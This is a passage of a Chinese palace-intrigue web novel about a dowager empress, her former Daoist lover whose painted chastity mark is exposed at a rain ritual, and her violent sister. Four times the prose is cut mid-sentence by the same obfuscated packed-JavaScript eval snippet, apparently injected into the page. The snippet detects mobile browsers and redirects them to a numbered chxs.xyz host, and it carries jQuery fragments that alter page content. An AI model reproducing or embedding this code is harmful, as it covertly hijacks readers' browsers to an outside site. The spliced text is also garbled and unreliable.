曹志行了个礼,站到净明道长身边。 王厌也坐在席上,神情淡淡恐怕早已魂游天外,不知在想什么,崔仪多看他几眼,又被卫秀的嗓音给唤回了神:“这样的事一向是母后在办,道长与母后商议就是。” 原来是卫秀与净明道长说话,谈到了她。 崔仪也与道长点了点头。 修道人不爱说场面话,饭后由卫秀将他们安顿到别宫,崔仪问了嘴具体的祭礼时日,净明道长说要回去掐算一番才能定下。 宫宴散后,净明又找到了崔仪,将一个黄纸封的香囊交给惜云,再转到崔仪手中。 “此物烦请太后转交于令妹。” 小小的香囊,散发出不大好闻的朱砂与符纸烧焦的诡异气味,崔仪用手指挑着上头的紫线结,拧眉:“此乃何物啊?” 净明:“求子香囊。” 崔仪指尖一抖,连忙将东西又递回惜云手里,随后擦了擦自个儿的手。 她知晓净明道长说话直来直去,也没想到如此的不顾忌,求子香囊这样的东西,不应当是如今的她该碰的。 惜云让人找来一个锦盒,将东西仔细收好,崔仪这才谢过:“有劳道长,本宫定然将此物转达。” 据说行祭礼前,道长要辟谷清修几日,不便见人,许多事宜都由一个叫秋陵的徒弟代管。 崔仪听说道长零零碎碎吩咐了许多,唯独没提到王厌,只是最后来了句当日得让王厌前去跪礼念经。 听到这消息的崔仪倍感迷惑,她转脸问:“王厌此刻在何处?” 惜云道:“正随着诸位道长在宫中歇息。” 与旁人在一块儿,崔仪就不去了,独自在宫中又吃了顿,又召父亲和妹妹进宫。 这两人进她的宫殿次数多了,不必宫人领路,自行殿内。 崔仪与太师商拟好出宫的日子,与祝令妹与左青的错开,确保不会引起注意,崔仪同意了,让人出宫将旨意传去官舍。 随后她主动留崔明意喝茶,太师惊讶了一瞬,误认为崔仪想通了,满意地离去。 不过是一夜未见,崔明意瞧着比昨日苍白许多,眉目颓然,面色煞白,好似一阵风都能将她吓住。 崔仪狐疑:“你病了?” 崔明意摇了摇头,苦涩道:“昨日府医相看……未能有孕。” 崔仪知晓妹妹与谢既感情深厚,一直想要个孩子,体贴道:“会有的。这不就给你送东西来了?今日那净明道长进宫时,让我将此物转交于你。” 锦盒中小小的香囊看起来精巧华贵,崔明意见了此物,眸色一亮。 “这是我先前去求的,要供奉三个月才能取下。” 崔仪心想难怪一股火熏味儿,天天吃着香灰……她笑了笑:“有此等宝物,何愁没有子嗣。” 坐在对面的崔明意将香囊收到怀中,闻言后,原本有些喜色的面庞黯淡几分,长叹:“唉……姐姐不会明白这心焦的痛苦,阿娘一直催我生个儿子,否则——” 否则怎么成为旁人的艳羡对象?在世俗人眼中,还有什么比一举得男更好的事。 她如今外有才名内有骄夫,只差一个子嗣是痛处。 崔仪是不懂:“不明白,阿娘也不曾催促过我。” 那位妇人也是她的阿娘,对她从不苛责,只不过很冷淡罢了。回回见面只是不温不火地问些场面话,从不说什么子嗣姻缘的家宅之事。 崔明意自知失言,起身又叹:“你膝下已有了陛下这一个孩子,天大的福气。” 无痛给皇帝当母后,尊享太后之名,旁人羡慕都羡慕不来。 正因此,母亲才私底下敲打过崔明意。 想到这事,她更失落地来回踱步。 崔仪见妹妹走来走去,垂落而下的雪色披帛飘飘忽忽像两段长长的兔耳朵。 她盯着那处:“是我的福气,也是我的运气,当初不是你们要我与先帝成亲么?” 一提到这茬,崔明意眼眶就红了,还得强颜欢笑:“谁能想到丰宣那贱畜生这样没用!一下子就死了,死得还不够丢人的。若非他身死,又怎能让卫泠称帝……称就称吧,也是个没用的,病死了。” 年幼无势的少帝,母族势盛的太后,崔家人一想到这场面都能夜半笑醒,只有崔明意因此被数落。 她不能输给别人,也不能输给姐姐……可这些比较究竟是为了什么?崔明意心底茫然不解。 她留下来喝了会儿茶,期间一直唉声叹气,崔仪只当她为子嗣的事愁容满目,想劝也劝不了,宫门落下之前,她送妹妹回去。 夕阳半残,宫内许多地方已彻底没了霞光,整个宫廷就像一个将要被打上死结的裹袋,一点点被收入漆黑的夜。 崔仪站在暗处目送妹妹离开。 定下了日子,所有的事很快就准备起来,崔仪先送走了父亲,又送走祝令梅与左青。 送别祝令梅时,崔仪固然心中哀愁,面上只能挂着端庄的笑意送别。 她在宫中,无论如何也不能和从前一样自由,只能看着祝令梅像小鸟一样飞到远处。 卫秀看出她的想法,轻声道:“宫中也有射箭的地方,母后闲来无事,前去消遣无妨。” 崔仪谢过了他的好意,只说:“一个人射箭有什么意思,总是比不了二人同游。” 说者无心,听者有意,卫秀想起当初远远看着父亲和母亲策马同游的场景,不再出声。 求雨的日子定在下月初六,秋陵道长叫王厌来传达这消息。 崔仪几日不见他,观他面色比先前更好,白玉脂一样的面颊上晕开淡淡血色,唇也不再苍白,握着文书的手指节有力。 她微笑:“既然来了,就陪我一同念会儿经,晚些用了膳再走不迟。” 如若要诵经,王厌没有推辞的借口,且诵经堂门窗大开,想也不会闹出别的事。 他收起书卷,随着崔仪进去。 堂内点着香,王厌以往没闻过,也辨不出是何处的香,但重逢后他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916452|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总在崔仪的身上闻到这股淡淡的气味。 婢女摆好蒲团,放好经书,在一旁等着伺候。 王厌和崔仪跪到蒲团之上,他心中惊讶崔仪这样的性情会自行诵经,十五岁时的崔仪根本就不信这些,那不屑的面容他至今都还记得。 他心不在焉地翻看经书,自小就读了无数遍的字句,早已烂熟于心。 于是不知不觉地望向崔仪,她的腰背立得很直,微低着头,去仔细念着那些清心去欲的祈词。 如此相安无事待了一炷香的功夫,崔仪才合上书册,要婢女奉茶。 借此片刻,她转过身对着王厌,关切道:“那一日见你师父与同门过来,却不见他们与你交谈,他们可是私底下欺负你?” 亲眼目睹情形始终在崔仪脑中浮现,她后来又回想起,五年前自己多次从后院的院墙翻进去,几乎从未有哪个同门弟子来找王厌,否则二人的事早被撞破。 她近日才知晓,别的弟子通常都是三四人一间屋子,同吃同住。 王厌也轻轻合上书册,垂眸用指腹按了按不够平整的褶皱。 “未曾有这样的事,”王厌低声道,“只是家中将我看得紧,我与他们……不大亲近。” 他独住的小院只有王家人守着,弟子轻易不会靠近,久而久之,关系也热络不起来。 崔仪颔首:“原来是这样一回事,我还以为你遭了他们排挤。” 王厌难得露出些笑意:“你将我想得太凄惨了些,我……” 话到一半,或许是想到两人的身份不适合这样融洽相谈,王厌止住了后面的话语。 崔仪当做没察觉这事,她的眼神落在王厌的小臂处。 “你……”她歉疚道,“你那守宫砂,这些年都如何隐瞒下来?他们应当都不知晓此事。” 王厌下意识也低头去看。 “自然不知晓。”若是知晓,他根本无法想象几位长辈失望和痛恨的眼神。 “十四五岁时,他们会时常叫人来看。” 他从未与崔仪说过这些:“或许是多数男儿都在那个年岁经事,族中人起初也担忧我,叫下人看那守宫砂还在不在,后来见我整日在道观中,从不外出,放心了许多,回回检查都很马虎。” “即便如此,你也想了办法吧?”崔仪很内疚,“是我一时冲动,让你整日惴惴不安。” 王厌的睫羽颤了颤,没有想到会得到她的歉意。 崔仪伸手想摸到他的胳膊,又很克制地收了回去,自嘲道:“我当时只是什么都想握住,太想拥有你,到头来什么都没做好。” 她极少这样失落自轻,王厌不知怎的,忍不住道:“不是这样。” 他伸手掀起衣袖,葱白的指尖使了些力,在他小臂上留下极淡的红痕。 青年的小臂上,守宫砂早已该消失不见,此刻却有鲜艳刺目的红。 “每隔三日,我会用朱砂点上一颗,寻常的水洗不开,遇油才会化。” 崔仪直勾勾的目光让王厌忽而背脊生凉,他连忙重新放下衣袖,“族人对我很放心,不曾细查,尚能应对。” 崔仪不知他一个人守着这秘密是否惊惧过,见婢女已举着查案回来,她柔声望他:“一直以来,很辛苦吧?是我的错。” 20. 风声 不等王厌回话,崔仪已接过茶盏,回身翻书。 王厌愣坐原地,似惶恐,更似受宠若惊。 他想不到崔仪会关心这事,还亲口向他流露歉意,可这份内疚并未让他展颜。 当初做那件事,是两个人共同的决定,彼此心悦,又何错之有……不过是没想到崔仪从未打算与他成婚,自作多情显得可笑。 婢女奉茶后又退到远处,王厌僵坐了半晌,一行字也看不下去。 “我没什么,倒是你,”他心底一直很疑惑这件事,“你来找我之后……他不曾察觉么?” 相拥的那个夜里,王厌对情事懵懂,不过略知一二。 后来他听闻崔仪成婚的消息,失魂落魄地在道观中游荡,于藏书阁读了杂书才知晓女子的初次和男人是不一样的。 他那时才想起,崔仪和他做了那些事,如何与她的丈夫交代? 这句话让崔仪再度将脸转过来,挑起的眼尾中神色莫名,将他上下打量几眼。 “察觉什么?” 她反而问得王厌难以启齿,甚至低下头颅,生出几分愧疚和难堪:“你们新婚之夜,难道他没发现……不是说会流血?” 说得云里雾里,好在崔仪还是听明白了。 她的神情更古怪,笑不可抑,用衣袖遮掩住了半边脸,最后竟笑倒在案台上,差些将茶碗弄碎。 王厌不知她何故发笑,只是见她的肩头颤抖,他茫然地望着。 崔仪好不容易止住笑意,撑着额头和他对视,思索半刻道:“为什么要等到新婚夜?” 且她本就不曾流血,她身体康健,并不孱弱,自小习武骑马,怎么可能睡个男人就流血。 但这句话崔仪并不想说出口。 王厌今日来时,面颊上是有些气色的,听了她的话,那张面孔又逐渐苍白,神情凄然,不可置信道:“你此话何意?” 这种隐秘的事情崔仪不想说得太明白,她认为对方也不至于如此蠢笨,因此并不作答。 是的,王厌听懂了,听得很明白。 她的意思是,他才是那个后来者。 她与先帝结下婚约,这是举世皆知的事,婚前就时常往来,一同去郊外狩猎踏花、为她作画,此类的事情数不胜数,王厌每回耳闻都只觉心如刀割。 上京的人都知晓崔仪和先帝在凤亭台一见倾心,婚后恩爱和睦,这在怨偶无数的京内是为数不多的美谈。 王厌时常憎恨自己为何这样软弱,滋生出的不甘无处宣泄,只是日渐沉默寡言。 室内静谧,只有风声偶尔拂过,点的香灭了,婢女进门揭开香炉换上新的,惜云也等到了门外,将人请去用膳。 “走吧。”崔仪将手交到婢女手里,借力起身,王厌依旧坐在地上,清瘦的背身立在原处,也不知在想什么。 踉跄着起身,不自觉显出些狼狈,小太监上来扶了扶,王厌这才勉强站稳身形,跟着崔仪去用膳。 他本就是沉静的性子,用膳时更是不爱说话。 说是进食,崔仪注意到他只不过是喝了几口汤,嚼了几口干果,就放下了筷子。 王厌在等她吃完,一直到崔仪用茶水漱口,他才能告退。 见外头天色不早,崔仪也没为难他,摆了摆手,让太监送他出去。 人都散了,惜云才上前道:“他这是怎么了?” 冷着脸,怨气冲天似的,也不知两人又说了什么。 崔仪将手放在盆中仔细清洗,笑道:“他非要问些不该问的,自找没趣。” “……”惜云微微蹙眉,“这样的性子不宜入朝,在宫里待着,只怕更难。” 人这辈子难得糊涂,惜云也明白过来为何王家人一直将他关在道观中。 兴许是因为这次的不愉快都是王厌自找的,崔仪过了几日又见到他,二人的氛围还算不错。 无人时,崔仪曾经小声提醒她:“你心性难控,一点小事也吓得不行,如何能担大事?” 这种话本该是彼此体谅的家人去说,崔仪没想教他,否则当初也不会毅然放弃王厌。 王厌只是点了点下巴,不知听进去没有。 看他这幅模样还算乖顺,崔仪就不再多言,人各有命,她对他够好了。 祈福的日子将近,崔仪的日常没有多余变化,不过太师不在京中,外头有什么消息,族人会带给她,她上朝就不再缺席,否则朝上只有卫秀一个人在,不知他能否应付得来。 太傅真的给卫秀找了个先生,是德高望重、早已归家返乡的老臣萧肃。 这让她出乎意料,若想控制卫秀,找王家的自己人应当是更好的选择,且萧肃这人迂腐不化,冥顽不灵,又憎恶结党营私之举,丰宣初登基时,萧肃老先生就将宫牌摘了,返乡种田。 没想到能被太傅这老东西请回来。 卫秀在萧肃那里念了两天,萧肃对他极其严苛,他受了委屈,来找崔仪。 宫中香炉青烟缭绕,热茶被放在一旁散气,崔仪坐在榻上看祝令梅送来的信,耳边是卫秀的低声抱怨。 “儿子知道他才冠天下,声望极高,不能与他作对,可他实在可恨。” 卫秀说着,又忍不住叹气:“只是他还朝之事,许多大臣都很欣悦,我轻易不能动他。” 崔仪喝了口茶,不急不缓:“这就是太傅的目的吧,只是不知他如何将人请出来的。” 到了这把年纪,该死就去死啊……崔仪恶毒地想着,用盖碗遮住了眼神。 卫秀也摇头,伸出手:“他今日训斥我,还要用板子打我手心,竟把我当成稚童!” 在萧肃眼中,卫秀的才学应当与稚童无二,又因他年有十五,拉下不少功课,才想出这法子。 虽说尊师重道,天子也得怕老师,前朝亦有帝师教训皇帝的事例,但那都是不过十岁的幼帝,与卫秀的情况不一样。 他伸出来的手指节细长,从未干过重活,看起来柔软洁白,指尖透着淡淡的粉。 崔仪握着书轻轻拍上去。 “打就打了,若真能学到些皮毛,你还得谢谢太傅给你做了这人情。” 这一下连声响都不曾有,力度轻飘飘的,卫秀只觉得手心一沉,书已被她拿了回去。 他“嗯”了一声,望着空落落的手心:“那……儿子就将萧先生奉为帝师,这不是小事,可要设宴?” 又要设宴,崔仪听了都头疼,但这事必须得办,她应声:“萧肃久居山野,陡然回朝,又做了你的先生,自然要接风洗尘,好好恭贺他,否则岂不是叫人议论。” 卫秀想来也是如此,将这事记下。 “先生这两日只在抽查我的课业,想看看我水平如何,他竟说我半点文墨也无,非治国之君。”卫秀羞耻地低下脸,“若是他能教我,日后也能替母后分担些。” “你有这份心就好。” 春光下,卫秀坐在窗边,听了她的夸奖,腼腆地点头。 崔仪又忍不住想起王厌这人,他就算坐在春光中,也像一捧要被晒化的白雪,看得人心中发寒,面前的卫秀倒是向来气色很好,脸上总是泛红,像个桃子。 起初她以为这是卫秀天生的肤色,后来才晓得这是因卫秀早产,先天不足,容易起风疹,倒也不严重,只是一起疹子就通身发红,春夏交接之际尤甚。 她想起这茬:“往后几月正是花开时节,你小心些身子,提前喝药调理,如今登上大位,仪容不可有损。” “有劳母后关心,儿子都记在心里。” 卫秀心满意足地退出去。 他有了课业,来面见崔仪的次数难免少一些,崔仪也乐得清静,派人去了京郊附近的郡县,按照祝令梅给的线索去接人。 祈福的前一日,净明道长出关,打点好求雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922370|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所需的祭品与符纸。 祭台在上清道观,众人提前一夜上山,回到道观,住在里头。 祭祀不仅是道观的事,也是诸位官员的要事,翌日会来许多朝臣与重臣家眷,待祈福结束后一同奉香。 谢既第二日早晨果然带着崔明意来了。 崔仪见过几回谢既,这人还有个宗正官职,但他几乎不去,只顾着游手好闲,没个正行,只听过他在外投壶打马球,没听过他正儿八经处理了什么事。 自知夫君的心性,崔明意也不乐意让他跟着,催促他:“你不是吵着要去拜香求子?去吧,去大殿磕两个头。” 早起赶路,也不知睡醒没有,谢既一脸懵然地跟着下人去了。 崔明意重新看向姐姐,与崔仪打了声招呼。 “净明道长要见你。”崔仪告诉她。 崔明意对经书一向有不同的见解,净明很喜欢请她入观辩论一二,昨夜一出关,就问起了崔明意。 如今见了面,净明却手握符纸,站在原地,并未上前相迎。 “道长?”崔明意站在原地,一时困惑。 老道长的双目不似寻常老人那样浑浊无光,他望着崔明意的脸、眼神定定落在她眉心,还往后退了两步。 “留步!”道长的手握紧那些零碎的物件,“不可再往前,不可!” 不仅崔明意疑惑,崔仪也好奇地望着二人。 净明道长喝退了所有弟子,最后,让崔仪和卫秀也出去,说是有话单独商议。 “道长这是何用意?祭祀将要开始,你二人有什么紧要话非得此刻说?”卫秀拧着眉心。 净明恍若未闻:“都出去!” 这一句声若洪钟,退到门外之人也听了进去,无不侧目。 崔明意似乎是吓傻了,攥紧手指,不知所措地看着道长,最后用求救的眼神望向崔仪。 “姐姐……”她喊了声,却不知要求救何事,于是紧紧闭上嘴。 老道长这时候反倒冷静下来:“夫人想要太后听闻你做的丑事吗?” 看起来,崔明意似乎做了什么可怖之事,崔仪回忆一番,她心道妹妹是杀过人,偶尔还打杀下人,成婚后也不变,除了这些,难不成还做了更荒唐的事? “道长,这其中是否有什么误会?”崔仪稳住场面,上前道,“妹妹就算有什么不是,还请祭祀之后再论不迟。” 她一人的事和凉州百姓比起来,孰轻孰重,道长有了决断,点了点头,却指向崔明意:“这位夫人留在此处,不可前去,否则今日的祭礼做了也是白做,不如改期!” 有这样严重?究竟什么事,能让一向对她和颜悦色的净明道长改了主意,甚至不让崔明意上祭台。 京中贵女典范,被德高望重的道长说了这样一番话,宁可推迟祭礼都不许她前去,不难想象传出去之后她的名声会如何。 崔明意一想到那后果就忍不住发抖,她手脚冰凉,来之前兴高采烈地梳洗打扮,此刻面若白纸,似溺水女鬼,睁大双目不甘心地看着净明道长。 “不行……我不能留在此处……我必须得去……” 她快步冲上前,到崔仪面前:“姐姐,你让我去吧,我真的不知道发生了什么。” 她甚至抓住了崔仪的袖口,惶恐道:“你知道的,我不能被丢在这里。” 崔仪怎会不清楚,再这样下去,崔明意恐怕会控制不住情绪,当场发作……她时常发疯,只是不知这些年都是如何压制住的。 今日是重要的日子,崔仪不想场面闹得难看,也不想让崔明意在此平白受了一顿指责。 “别怕,”崔仪拍了拍她的肩膀,“你去不去并不要紧,要紧的是,刚才那些话语不仅被我听见了……” 卫秀听出她的言下之意,转脸厉声:“今日道长所言,不可有半个字泄露出去!一旦有任何风声,决不姑息。” 21. 妥协 随行等在门外的弟子与守卫不多,崔仪想要的并非这种解决方式,她心中另有主意。 几人议事的地方乃是个偏房,门户大开,自梁上垂下道道黄幡,被狂风吹起发出簌簌之声。 卫秀话音刚落,就听见身后传来迅疾的走动声,一道道冲过来,由远及近,他刚转过脸,崔明意就已走到他身边。 她犹如陷入魔障,冷着脸伸手,欲要抽出他腰间的佩剑。 这把剑曾在上清道观受礼,卫秀这才带来。 她要杀人。 杀谁? 卫秀吓坏了,眼见崔明意的手已要摸出剑柄,他仍不敢喊人,只因母后显然不想将这事闹大。 好在最后一刻,崔仪极快地出了手,掐住崔明意的手腕。 “明意。”她平静地望着她,“你想做什么?可还记得今日要事?” 崔明意在惊恐万分的情绪里,催生出怒色,想将手挣脱出,拔出宝剑杀了胡言乱语的净明道长,可无论如何也使不出气力,只好转脸无助地望向姐姐。 见她脱力,崔仪这才冷冷松开她的手腕。 崔仪擅使弓,为了能拉开沉重的弓箭,多年练习下,她的四肢修长而有力,尤其是肩臂一块,紧实流畅,发力时肌理紧绷。 被她掐住手腕,崔明意甚至品出些痛意,一时再也使不上劲,这份痛也让她冷静不少。 “我……”她后知后觉地望向自己的手。 方才,她想杀了净明道长,却没有细想杀了之后要如何继续今日的祭礼,没有细想为今日之事姐姐准备了多久。一旦她亲手杀了净明道长的事传出去,才是真的一切都完了。 “妹妹,”崔仪没说什么重话,只让惜云近身,“收拾好她。” 片刻前崔明意浑身发抖,又走动要抢夺宝剑,发髻歪了几分,惜云拉着尚在僵硬出神的崔明意到窗边,帮她打理发髻、理好衣裙。 崔仪望向净明道长:“还请移步商议。” 净明道长紫冠玉带、身着八卦法袍,面对崔明意先前的举措丝毫不意外,与崔仪行至别院,直言道:“太后的妹妹煞气太重,不可上祭台观礼。” 崔仪闻言只笑:“道长并非第一日与我妹妹相识,她向来是这个性情,为何今日忽然发难?” 净明问她:“太后想知晓?” “我若不问清楚,如何化解这误会。”崔仪数了数时辰,“道长直言就是。” 他并不卖关子:“令妹敏而好学,却天生带煞,当初也是因此缘由才诵读经书,本道与她有缘,想感化她几分,不想多年下来,她非但没有悔过,还用了人祭这样的法子。” “人祭?祭什么?” 老道长惋惜道:“今日向上苍求雨,需杀羊宰牛,歃血明誓;至于她,所求的是什么,太后也清楚。今日她来,我见她眉心隐有黑气,眼皮泛青,实属被婴灵缠身之状。” “此事骇人听闻,也可知其冷血残忍的性情,这样的人怎能入祭台?” 崔仪心中错愕惊讶,又想这老道一眼就能看出这样多的东西,谁知是真是假,改日他一口咬定她杀了皇帝,难道她就真的杀了皇帝?今日认下这事,改明被千夫所指的就是自己了。 她打定主意,语气缓和道:“老道长说得这话没道理,今日来臣包括我在内,有不少人都上阵迎敌,剑下亡魂无数,怎么也比明意杀得多,若她不能去,那本宫又要如何自处?” 净明难以苟同:“边疆来犯,杀宵小之辈是善举,可令妹杀的都是无辜稚子……” “如此说来,在场之人所有杀过孩童的,都不可上祭台?”崔仪观察着净明道长的神色,“明意确是糊涂,不过真论起来,今日观礼的诸位大臣,内宅中曾死过多少孩子,灌过多少汤药,又有谁知?岂不是人人都不能观礼。” 崔仪见过那些惨状,轻声叹息,道长也犹豫。 “明意从前也去祭台,不见有何影响,且心性敏弱,你若是强行不让她去,反倒容易刺激到她,坏了国之大事。” “我会让她时时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931843|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入宫见我,再不许做这样的荒唐事。” 一直耗着是不成的,道长必然也明白其中道理,万般无奈之下,暂且听从崔仪的劝解。 两人推门而出,他先行去祭坛等待,崔仪回了先前的偏房,崔明意已重新平复心绪,甚至还难得向她行了个礼。 “时辰不早,该往祭坛走了。” 她走在前头,崔明意跟在身后,出了庭院,婢女和侍卫们也要跟上来,在此之前,崔明意小声问道:“姐姐如何说服他?他可有说什么?” 崔仪目不斜视,看着前方的仪仗。 “你是我的妹妹,是崔家的女郎,今日无论如何我也会让你站在那祭台上。” 原来不是因为相信她……崔明意喃喃道:“只恐道长见了我心生不快。” 这事好办,崔仪叫人取了惟帽来,虚虚遮掩她的面颊。 谢既磕头回来,接崔明意一同去祭台,他们是臣子,没有和皇帝太后一同去的理。 见崔明意用帷幕遮住面颊,他十分狐疑,问起发生了何事,崔明意静默不答。 闹了这样一出,幸而不曾误了时辰,祭坛中已点起熊熊烈火,铺天盖地的经纸抄文飞散而下。 乐师早已吟唱,激烈的鼓声与琴声中,崔仪见到在祭坛中间的几位道士。 除了老道长,还有王厌与他那几位师兄。 几个弟子所着衣物不比织锦绛衣繁复华美,颜色浅些,每人手持不同的法器,琴、剑、玉印、柳仗、明灯。 皇帝在最前,崔仪稍后一些站着,身后就是各位重臣以及诸位家眷。 她瞥了眼身后太傅,又望向场上王厌。 他鲜少穿这样的云紫,瞧着倒新鲜,复又想到祭礼时穿的法袍都要按规制来,想必是他此生拥有中最粗糙寒酸的几件。 怀中七星灯火光摇曳,王厌于风中伸出手,纤美的长指稳住晃动的灯身。 再度抬起脸,他与崔仪瞧了个正着,这回他只是平静望着她,颔首示意,静等仪礼结束。 22. 融化 鼓声敲到第三遍时,崔仪已昏昏欲睡。 祭礼耗时许久,乌泱泱的人群候着,舞剑时传来的铜钱晃动声让崔仪愈发困倦。 这段时日她本就睡得少,即便合眼也睡不安稳,昨夜在道观更是杂事繁多,还时不时触景生情,想到当初与王厌在此处的点点滴滴,如今回想起来,还有些唏嘘。 那真是她这辈子为数不多的松懈时光,在家中时,崔仪总是起得很早,先要去念书交上功课,又要去练武射箭,午后匆匆用膳她就会借口跑马,来道观找王厌,睡个无忧无虑的好觉。 当初的王厌还不像如今这样冷冷清清,他固然因为少食清思而显露出淡淡忧郁,但若是与他说话,他总能露出个好奇而单纯的笑,不管她说什么,王厌都听得津津有味。 崔仪越想,越看着眼前的他在心底扼腕。 祭坛中的大火烈烈不灭,忽来一阵狂风将火苗吹起,火舌卷起空中零散飘落的白纸。 “火——” 求雨之时,狂风却为烈火起势,乃不祥之兆。 坛鼎内已献上猪羊,鲜血挂在四壁,兽血被大火吞噬,混合着其他祭品,诡异的气味在场上漂浮。 净明道长手执宝剑,围着大坛踱步,举剑喝道:“再行礼!” 这一回要将一旁侍奉的法器丢进坛中,法器宝贵,通常是用来恭请神明,若是连这些都要送入坛中,可见事态并不明朗。 风声呼啸,白纸也不敢撒了,王厌等待几位师兄完成礼仪,站在飘然而落的一片洁白中,举着七星灯欲要将其扔入坛中。 怪异的是,坛中火焰不曾蔓延到先前几人的身上,只有在王厌举着灯笼靠近时,灼热的火苗忽然扑向灯身,眨眼间已爬杆而上,烧到他的袖口。 王厌面色一白,惊退几步,众人见到此情此景都吓了一跳,已有女眷惊呼出声。 “这——” “王三郎!” 跟随在净明道长身边的太监曹志立刻奔到王厌身旁,试图将火扑灭,但今日风大,灼热的火焰顷刻间烧透他的衣袖,曹志情急之下终于回过神来,脱下外袍裹在王厌的胳膊上将这团火剿灭。 “师弟,师弟!” 平日与王厌并不热切的师兄们到此刻也不得不围上来,王厌却没心思回应,他的胳膊被火苗卷过,应当还不严重,但阵阵灼心的痛让他额间沁出冷汗。 火是灭了,曹志掀开衣袍时,小心将王厌的袖口掀起。 小臂上大片肌肤泛红发深,曹志吹了吹气:“还好还好,不曾烧坏!道长去将香油取来。” 烫伤用香油覆着可缓解伤势,王厌原本痛得快昏过去,听见“香油”这样的字眼,心惊之中回过神,本能想将手腕抽回。 不行…… “道长不必忧虑,抹些香油,待日后这里结疤就好,烧得不严重。”曹志笑得眯起眼,王厌却只觉浑身阴寒发冷,他头晕目眩,看到不远处的崔仪正蹙眉望他,似是担忧。 崔仪与卫秀、太傅,都围了上来。 曹志在那烧红的胳膊上涂了层香油,这本没什么,只是原本点在王厌腕间殷红的那颗赤砂,竟逐渐消融。 “嘶……”看着被揉开的赤砂,曹志倒吸一口凉气,抬起脸看向皇上、太后与脸色阴沉的老太傅。 他并不对此多言,只是咽了咽口水,继续上药。 在场之人反应各异,王厌的几位师兄面面相觑,不可思议地望着师弟的胳膊。 “师弟你这是,这是发生了何事?” 上清道观修心净思,能拜在净明门下,定然不可破身,寻常弟子做不到也就算了,这位师弟怎会做不到?他除了那小院,几乎不去任何地方。 至于老太傅,崔仪用余光见他的面色已从惊骇迷惑转到了气恼。 他不可思议地蹲下身,只当自己看错,拼命用指腹上去搓揉,发觉那小臂果真空空如也,又去撩王厌左手的衣袖,抱着一丝希冀指望那守宫砂在另一条胳膊上。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938383|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜,左手的手臂纤白细长,光滑一片。 “你……你这……!”太傅咬牙切齿,他入朝多年从不曾像此刻失态,枯瘦的脸上也挤出些狰狞之肉。 众人正要劝解,只见面前的老臣使出全力,狠狠冲上前给了王厌一巴掌。 这是他最宠爱的嫡孙,出生至现在连一句重话都不曾说过,如今御前失仪,不顾旁人,可见怒火中烧。 崔仪拧眉:“太傅……”她有心拦住太傅,生怕他这一巴掌将王厌打得晕过去。 好在王厌只是摇摇欲坠,茫然站在原处。 唯独卫秀没看明白,他不知那守宫砂是什么,面目困顿道:“母后,这是什么?” 崔仪温声:“陛下不必知晓这些事。” 她走上前去,盯着王厌的双目,试图从他眼中看到清晰的憎恨与痛苦,可那双漂亮的眼只有麻木。 太傅被气走了,抛下祭礼,头也不回地离去。 朝臣与内眷在原地蠢蠢欲动,想知道发生了什么,崔仪以帕捂嘴,行至净明道长身旁。 “看来,今日的祭礼当真是混进来不干净的玩意儿,”她似乎疑惑,“道长什么都能看出来,竟看不出这事?今日为凉州祈福,分明掐算了吉日,还妖风大作,本宫如何向满朝文武交代,如何向天下百姓交代?” 场上所发生的一切,净明道长都看在眼中。 七星灯没那样容易生火,火势也不应当起得这样快,这若是阴谋就说得通了,但他唯一没想到的是王厌当真没了那守宫砂。 他道:“太后认为,这是他一人之错?” 崔仪谦虚:“此言并非本宫所指,只不过向道长请教而已。” 祭礼无法继续下去,太傅始终觉得丢人,又自作主张派人将官员遣散,崔仪并不阻止。 只是需要一同被抬下去的还有王厌,他强撑着站了半晌,无论师兄们问他什么他都不说话,用力捂着受了烧伤的胳膊,直到最后体力不支,才直直坠下。 23. 问罪 场上局面乱成一锅粥,卫秀依然不明白缘由经过,起初他本以为王三要被烧死,结局让他大失所望,又见他胳膊上奇怪的红点融化后,老太傅怒不可遏地对王三动了手。 